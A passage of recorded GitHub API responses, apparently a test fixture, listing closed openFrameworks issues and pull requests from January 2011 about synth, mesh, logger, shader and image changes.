fix","labels":[],"closed_at":"2011-01-19T22:10:10Z","created_at":"2011-01-16T19:53:01Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":530422,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/397","patch_url":"https://github.com/openframeworks/openFrameworks/pull/397.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/397.diff"}},{"updated_at":"2011-01-19T22:08:22Z","body":"cleaned up the file structure\r\nadded all the constructors to the classes\r\npulled the files into different classes\r\nadded the sequencing example in a new place","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/396","comments":0,"milestone":null,"number":396,"html_url":"https://github.com/openframeworks/openFrameworks/issues/396","assignee":null,"title":"Ofx synth fixes","labels":[],"closed_at":"2011-01-19T22:08:22Z","created_at":"2011-01-16T17:12:17Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":530188,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/396","patch_url":"https://github.com/openframeworks/openFrameworks/pull/396.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/396.diff"}},{"updated_at":"2011-01-17T17:16:05Z","body":"actually added the files this time, removed vao.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/395","comments":0,"milestone":null,"number":395,"html_url":"https://github.com/openframeworks/openFrameworks/issues/395","assignee":null,"title":"very basic working version of mesh loading and displaying via vbo","labels":[],"closed_at":"2011-01-17T17:16:05Z","created_at":"2011-01-16T15:28:34Z","state":"closed","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":530083,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/395","patch_url":"https://github.com/openframeworks/openFrameworks/pull/395.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/395.diff"}},{"updated_at":"2011-01-16T15:19:17Z","body":"note that the assimp loader is currently in the src folder of the devApps/meshTester example...wanted to hold back on putting that in core for now","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/394","comments":0,"milestone":null,"number":394,"html_url":"https://github.com/openframeworks/openFrameworks/issues/394","assignee":null,"title":"basic functionality for assimp model loading and vertex array drawing of the data","labels":[],"closed_at":"2011-01-16T15:19:17Z","created_at":"2011-01-16T15:16:50Z","state":"closed","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":530075,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/394","patch_url":"https://github.com/openframeworks/openFrameworks/pull/394.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/394.diff"}},{"updated_at":"2011-03-13T19:20:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/393","comments":1,"milestone":null,"number":393,"html_url":"https://github.com/openframeworks/openFrameworks/issues/393","assignee":null,"title":"Added << operators for most of the core classes.","labels":[],"closed_at":"2011-03-13T19:20:10Z","created_at":"2011-01-16T14:51:35Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809},"id":530057,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/393","patch_url":"https://github.com/openframeworks/openFrameworks/pull/393.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/393.diff"}},{"updated_at":"2011-01-16T15:07:53Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/392","comments":0,"milestone":null,"number":392,"html_url":"https://github.com/openframeworks/openFrameworks/issues/392","assignee":null,"title":"3d","labels":[],"closed_at":"2011-01-16T15:07:53Z","created_at":"2011-01-16T07:22:30Z","state":"closed","user":{"url":"https://api.github.com/users/memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230},"id":529708,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/392","patch_url":"https://github.com/openframeworks/openFrameworks/pull/392.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/392.diff"}},{"updated_at":"2011-04-10T07:29:49Z","body":"added ofBitmapStream and removed an extraneous printf in ofLogger","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/390","comments":2,"milestone":null,"number":390,"html_url":"https://github.com/openframeworks/openFrameworks/issues/390","assignee":null,"title":"added ofBitmapStream, fixed logger bugs, added loggerTest app","labels":[],"closed_at":"2011-04-10T07:29:49Z","created_at":"2011-01-16T07:17:28Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":529702,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/390","patch_url":"https://github.com/openframeworks/openFrameworks/pull/390.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/390.diff"}},{"updated_at":"2011-01-16T06:42:17Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/388","comments":0,"milestone":null,"number":388,"html_url":"https://github.com/openframeworks/openFrameworks/issues/388","assignee":null,"title":"more 3d awesomeness","labels":[],"closed_at":"2011-01-16T06:42:17Z","created_at":"2011-01-16T06:33:17Z","state":"closed","user":{"url":"https://api.github.com/users/memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230},"id":529671,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/388","patch_url":"https://github.com/openframeworks/openFrameworks/pull/388.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/388.diff"}},{"updated_at":"2011-01-16T06:34:42Z","body":"fixed logger exception on exit, messages are printed with a warning if the logger is being called after it's been destroyed using printf","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/386","comments":0,"milestone":null,"number":386,"html_url":"https://github.com/openframeworks/openFrameworks/issues/386","assignee":null,"title":"fixed logger exception on exit","labels":[],"closed_at":"2011-01-16T06:34:42Z","created_at":"2011-01-16T05:46:14Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":529638,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/386","patch_url":"https://github.com/openframeworks/openFrameworks/pull/386.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/386.diff"}},{"updated_at":"2011-01-16T05:28:25Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/385","comments":0,"milestone":null,"number":385,"html_url":"https://github.com/openframeworks/openFrameworks/issues/385","assignee":null,"title":"Of shape clean moved example","labels":[],"closed_at":"2011-01-16T05:28:25Z","created_at":"2011-01-16T05:15:06Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":529620,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/385","patch_url":"https://github.com/openframeworks/openFrameworks/pull/385.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/385.diff"}},{"updated_at":"2011-01-16T05:05:54Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/384","comments":0,"milestone":null,"number":384,"html_url":"https://github.com/openframeworks/openFrameworks/issues/384","assignee":null,"title":"moved threadedimageloader to addonsexamples","labels":[],"closed_at":"2011-01-16T05:05:54Z","created_at":"2011-01-16T04:29:23Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809},"id":529598,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/384","patch_url":"https://github.com/openframeworks/openFrameworks/pull/384.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/384.diff"}},{"updated_at":"2011-01-16T05:03:14Z","body":"from video grabber works better","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/383","comments":0,"milestone":null,"number":383,"html_url":"https://github.com/openframeworks/openFrameworks/issues/383","assignee":null,"title":"isFrameNew","labels":[],"closed_at":"2011-01-16T05:03:14Z","created_at":"2011-01-16T04:23:39Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":529592,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/383","patch_url":"https://github.com/openframeworks/openFrameworks/pull/383.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/383.diff"}},{"updated_at":"2011-01-19T23:05:45Z","body":"Looks like uninited memory \r\n\r\nOF_VERBOSE: Creating GLSL Program\r\nOF_ERROR: GL_VERTEX_SHADER shader failed to compile\r\nOF_ERROR: GL_VERTEX_SHADER shader reports:\r\nERROR: 0:9: 'metrySh' : syntax error syntax error\r\n\r\nOF_ERROR: GL_FRAGMENT_SHADER shader failed to compile\r\nOF_ERROR: GL_FRAGMENT_SHADER shader reports:\r\nERROR: 0:6: ']' : syntax error syntax error\r\n\r\nOF_ERROR: GL_GEOMETRY_SHADER_EXT shader failed to compile\r\nOF_ERROR: GL_GEOMETRY_SHADER_EXT shader reports:\r\nERROR: 0:44: 'mpler2DRectShadow' : syntax error syntax error\r\n\r\nOF_ERROR: Trying to link GLSL program, but no shaders created yet\r\nMaximum number of output vertices support is: 1024\r\nOF_VERBOSE: OF app is being terminated!\r\n\r\nOF_VERBOSE: Creating GLSL Program\r\nOF_ERROR: GL_VERTEX_SHADER shader failed to compile\r\nOF_ERROR: GL_VERTEX_SHADER shader reports:\r\nERROR: 0:9: 'orks' : syntax error syntax error\r\n\r\nOF_ERROR: GL_FRAGMENT_SHADER shader failed to compile\r\nOF_ERROR: GL_FRAGMENT_SHADER shader reports:\r\nERROR: 0:6: 'SHADER' : syntax error syntax error\r\n\r\nOF_VERBOSE: GL_GEOMETRY_SHADER_EXT shader compiled.\r\nOF_VERBOSE: Attaching shader of type GL_GEOMETRY_SHADER_EXT\r\nOF_ERROR: Shader program reports:\r\nERROR: geometry shader does not have required vertex shader.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/382","comments":1,"milestone":null,"number":382,"html_url":"https://github.com/openframeworks/openFrameworks/issues/382","assignee":null,"title":"ofShader - sometimes the shader names that are being loaded look mangled. Could be ofBuffer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-01-19T23:05:45Z","created_at":"2011-01-16T04:21:05Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":529589,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T21:09:31Z","body":"cf #define DRAW_WITH_MESHIES in ofShape.h\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/381","comments":0,"milestone":null,"number":381,"html_url":"https://github.com/openframeworks/openFrameworks/issues/381","assignee":null,"title":"ofShape should use ofMesh once ofMesh is ready","labels":[],"closed_at":"2011-03-13T21:09:31Z","created_at":"2011-01-16T03:25:40Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":529546,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T05:15:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/380","comments":0,"milestone":null,"number":380,"html_url":"https://github.com/openframeworks/openFrameworks/issues/380","assignee":null,"title":"ofShape","labels":[],"closed_at":"2011-01-16T05:15:30Z","created_at":"2011-01-16T03:12:08Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":529537,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/380","patch_url":"https://github.com/openframeworks/openFrameworks/pull/380.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/380.diff"}},{"updated_at":"2011-01-16T03:07:45Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/379","comments":0,"milestone":null,"number":379,"html_url":"https://github.com/openframeworks/openFrameworks/issues/379","assignee":null,"title":"ofShape","labels":[],"closed_at":"2011-01-16T03:07:45Z","created_at":"2011-01-16T00:45:43Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":529388,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/379","patch_url":"https://github.com/openframeworks/openFrameworks/pull/379.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/379.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=26&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '28575'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"18ade8333b69e6ed5113f575903c21d1"'), ('date', 'Tue, 29 May 2012 18:46:47 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-01-16T03:29:11Z","body":"pending soundSwapping and integration of the new mesh stuff etc., ofxiphone 007 is complete (i think) (!!)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/378","comments":0,"milestone":null,"number":378,"html_url":"https://github.com/openframeworks/openFrameworks/issues/378","assignee":null,"title":"ofxiPhone007 complete","labels":[],"closed_at":"2011-01-16T03:29:11Z","created_at":"2011-01-16T00:11:09Z","state":"closed","user":{"url":"https://api.github.com/users/stfj","avatar_url":"https://secure.gravatar.com/avatar/b089227a1748a2d70cdfc4ef00b325ad?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b089227a1748a2d70cdfc4ef00b325ad","login":"stfj","id":177578},"id":529366,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/378","patch_url":"https://github.com/openframeworks/openFrameworks/pull/378.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/378.diff"}},{"updated_at":"2011-01-16T03:31:10Z","body":"The ofLogger uses the Poco::FileChannel to write to the log file which does not have append/replace controls. An easy way to add this would be to implement a custom FileChannel class with these controls.\r\n\r\nSee Poco::FileChannel.h/.cpp: http://pocoproject.org/docs/Poco.FileChannel.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/377","comments":1,"milestone":null,"number":377,"html_url":"https://github.com/openframeworks/openFrameworks/issues/377","assignee":null,"title":"file logger overwrites existing file, does not append","labels":[],"closed_at":"2011-01-16T03:31:10Z","created_at":"2011-01-15T23:11:24Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":529282,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-16T03:26:46Z","body":"clear the working buffer on init in case no-one touches it; a few formatting tweaks; log message in ofSoundBuffer on bad behaviour by user.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/376","comments":0,"milestone":null,"number":376,"html_url":"https://github.com/openframeworks/openFrameworks/issues/376","assignee":null,"title":"Sound tweaks","labels":[],"closed_at":"2011-01-16T03:26:46Z","created_at":"2011-01-15T23:06:13Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":529272,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/376","patch_url":"https://github.com/openframeworks/openFrameworks/pull/376.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/376.diff"}},{"updated_at":"2011-01-16T03:32:51Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/374","comments":0,"milestone":null,"number":374,"html_url":"https://github.com/openframeworks/openFrameworks/issues/374","assignee":null,"title":"Add threaded loader example to the devApps.","labels":[],"closed_at":"2011-01-16T03:32:51Z","created_at":"2011-01-15T22:57:26Z","state":"closed","user":{"url":"https://api.github.com/users/roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","id":358809},"id":529264,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/374","patch_url":"https://github.com/openframeworks/openFrameworks/pull/374.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/374.diff"}},{"updated_at":"2011-01-16T03:25:46Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/373","comments":0,"milestone":null,"number":373,"html_url":"https://github.com/openframeworks/openFrameworks/issues/373","assignee":null,"title":"awesome 3d updates!","labels":[],"closed_at":"2011-01-16T03:25:46Z","created_at":"2011-01-15T22:43:16Z","state":"closed","user":{"url":"https://api.github.com/users/memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","id":144230},"id":529248,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/373","patch_url":"https://github.com/openframeworks/openFrameworks/pull/373.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/373.diff"}},{"updated_at":"2011-01-15T23:47:15Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/372","comments":0,"milestone":null,"number":372,"html_url":"https://github.com/openframeworks/openFrameworks/issues/372","assignee":null,"title":"major log update to add access to a poco console/file logger and convenience stream log classes","labels":[],"closed_at":"2011-01-15T23:47:15Z","created_at":"2011-01-15T22:27:05Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":529228,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/372","patch_url":"https://github.com/openframeworks/openFrameworks/pull/372.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/372.diff"}},{"updated_at":"2011-01-16T03:19:35Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/371","comments":0,"milestone":null,"number":371,"html_url":"https://github.com/openframeworks/openFrameworks/issues/371","assignee":null,"title":"modified ofImage to remove FreeImage dependencies in the header","labels":[],"closed_at":"2011-01-16T03:19:35Z","created_at":"2011-01-15T22:20:35Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":529219,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/371","patch_url":"https://github.com/openframeworks/openFrameworks/pull/371.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/371.diff"}},{"updated_at":"2012-03-17T19:29:11Z","body":"so that you can do slab processing on the gpu by just writing ofRect, rather than defining your own vertexes and passing them to the card.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/370","comments":1,"milestone":null,"number":370,"html_url":"https://github.com/openframeworks/openFrameworks/issues/370","assignee":null,"title":"ofRect should have texCoordinates","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-03-17T19:29:11Z","created_at":"2011-01-15T20:00:01Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":529085,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-15T21:48:18Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/369","comments":0,"milestone":null,"number":369,"html_url":"https://github.com/openframeworks/openFrameworks/issues/369","assignee":null,"title":"normalized naming and argument conventions for ofImage loading","labels":[],"closed_at":"2011-01-15T21:48:18Z","created_at":"2011-01-15T19:11:41Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":529043,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/369","patch_url":"https://github.com/openframeworks/openFrameworks/pull/369.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/369.diff"}},{"updated_at":"2012-04-18T13:33:17Z","body":"On OSX, resizing the window causes persistent flickering with ofSetBackgroundAuto(false). \r\n\r\nIt appears as though oF is still drawing double-buffered and is swapping between front and back buffers even with ofSetBackgroundAuto(false), but this behaviour only appears if the window is resized. Expected behaviour would be to draw single buffered with ofSetBackgroundAuto(false) (always draw to the back buffer).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/368","comments":15,"milestone":null,"number":368,"html_url":"https://github.com/openframeworks/openFrameworks/issues/368","assignee":null,"title":"ofSetBackgroundAuto flickering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-04-18T13:33:17Z","created_at":"2011-01-15T18:11:04Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":528983,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-01-15T21:45:53Z","body":"as requested. adds missing headers and binary files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/367","comments":0,"milestone":null,"number":367,"html_url":"https://github.com/openframeworks/openFrameworks/issues/367","assignee":null,"title":"Ofx synth fixes","labels":[],"closed_at":"2011-01-15T21:45:53Z","created_at":"2011-01-15T17:11:45Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":528919,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/367","patch_url":"https://github.com/openframeworks/openFrameworks/pull/367.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/367.diff"}},{"updated_at":"2011-01-15T16:43:57Z","body":"when saving an image it is now possible to specify the jpeg compression level.\r\n\r\nmore complex options are available, but this is a start.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/366","comments":0,"milestone":null,"number":366,"html_url":"https://github.com/openframeworks/openFrameworks/issues/366","assignee":null,"title":"added image compression parameter to ofImage","labels":[],"closed_at":"2011-01-15T16:43:57Z","created_at":"2011-01-15T09:01:25Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":528525,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/366","patch_url":"https://github.com/openframeworks/openFrameworks/pull/366.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/366.diff"}},{"updated_at":"2011-01-15T06:09:03Z","body":"because the viewport was being saved, fbos would not properly draw to the screen.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/365","comments":0,"milestone":null,"number":365,"html_url":"https://github.com/openframeworks/openFrameworks/issues/365","assignee":null,"title":"Fbo viewport fix","labels":[],"closed_at":"2011-01-15T06:09:03Z","created_at":"2011-01-15T06:01:11Z","state":"closed","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":528437,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/365","patch_url":"https://github.com/openframeworks/openFrameworks/pull/365.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/365.diff"}},{"updated_at":"2011-01-15T16:27:17Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/364","comments":0,"milestone":null,"number":364,"html_url":"https://github.com/openframeworks/openFrameworks/issues/364","assignee":null,"title":"Of color 